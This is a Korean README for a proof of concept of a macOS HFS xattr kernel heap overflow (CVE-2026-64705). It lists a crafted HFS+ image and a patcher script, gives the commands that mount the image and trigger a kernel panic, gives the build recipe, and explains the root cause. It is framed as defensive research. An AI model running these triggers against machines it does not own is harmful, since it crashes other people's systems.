
# CVE-2026-64705 근본 원인 분석 및 개념 증명 macOS HFS xattr 커널 힙 오버플로우에 대한 근본 원인 분석 및 개념 증명입니다. 무기화된 HFS+ 이미지, 패처, 파서, 그리고 교육 및 방어 연구를 위한 상세 분석 문서를 포함합니다.
CVE-2026-64705에 대한 근본 원인 분석 및 개념 증명(PoC)입니다. 이는 macOS Sonoma 14.8.7(HT127117)에서 수정된 HFS 커널 확장의 버퍼 오버플로우입니다:
HFS — 영향: 앱이 예기치 않은 시스템 종료를 유발하거나 커널 메모리를 쓸 수 있습니다. 향상된 경계 검사를 통해 버퍼 오버플로우가 해결되었습니다.
PoC는 무기화된 HFS+ 디스크 이미지입니다. 이를 마운트하고 조작된 확장 속성(extended attribute)을 읽으면 HFS kext가 512바이트 커널 힙 버퍼로 무제한 64바이트 bcopy 루프에 진입하게 되어, 공격자가 제어하는 온디스크 콘텐츠로 인한 커널 힙 오버플로우가 발생하고 취약한 빌드에서 패닉이 발생합니다. 크래시/패닉 등급 — RCE 아님.
adds/b.hs 캐리 검사,
제로 카운트 종료, total==0 / total>expected 거부 추가hfs_setxattr: %s has a malformed overflow extent, getxattr도 동일.| 파일 | 설명 |
|---|
poc-cve-2026-64705.dmg | 무기화된 32MB HFS+ 이미지(트리거 파일 + 조작된 xattr 레코드) |
weaponize.py | 이미지를 생성한 패처 — 이미지 자체에서 모든 오프셋을 재도출하며, 호환 가능한 모든 기본 이미지에서 작동 |
parse_attr.py | xattr 레코드를 찾아 덤프하는 데 사용되는 Attributes B-tree 파서 |
BUILD.md | 깨끗한 기본 이미지로부터의 전체 빌드 레시피 + 정확한 16진수 델타 |
WRITEUP.md | 근본 원인 분석: kext diff(14.8.5 vs 14.8.7), 취약한 루프, 메커니즘 |
수정 전 시스템(또는 희생 VM — 커널이 패닉합니다)에서:
hdiutil attach -nobrowse poc-cve-2026-64705.dmg
xattr -l /Volumes/CVE64705/trigger.txt # 커널 힙 오버플로우 -> 패닉
패치된 시스템에서는 동일한 이미지가 정상적으로 마운트되고 트리거가 새 검증기에 의해 거부됩니다 — 커널 로그에서 차등 증명을 확인할 수 있습니다:
hfs_getxattr: bigattr has a malformed overflow extent
이는 조작된 레코드가 실행을 정확히 패치된(그리고 이전에는 취약했던) 워크로드로 유도한다는 것을 확인해 줍니다.
hdiutil create -fs HFS+ -size 32m -volname CVE64705 base.dmg
hdiutil attach -nobrowse base.dmg
echo trigger > /Volumes/CVE64705/trigger.txt
xattr -w bigattr "$(head -c 8192 /dev/zero | base64)" /Volumes/CVE64705/trigger.txt
hdiutil detach /Volumes/CVE64705
python3 weaponize.py # -> poc-cve-2026-64705.dmg
kHFSPlusAttrForkData로 저장된 대용량 xattr의 경우, hfs_getxattr_internal(및 미러링된 hfs_setxattr_internal)은 오버플로우 레코드의 8개 익스텐트 디스크립터를 순회합니다. count_extent_blocks()는 blockCount가 예상 총합을 초과하는 디스크립터를 건너뛰고 캐리나 제로 검사 없이 32비트 합계를 반환합니다. 모든 blockCount가 총합을 초과하면 카운트가 0으로 반환되고, blkcnt는 전진하지 않으며, while (blkcnt < totalblocks) 루프는 totalblocks*8바이트 힙 버퍼를 넘어 반복마다 64바이트의 공격자 제어 데이터를 계속 복사합니다. 정수 랩 변형(blockCount의 합이 2^32를 초과하는 경우)도 동일한 누락 검사이며, 14.8.7 패치는 둘 다 차단합니다.
교육 및 방어 연구 목적으로 제공됩니다. 이 버그는 현재 macOS에서 패치되었으며, 소유한 시스템에서만 테스트하십시오.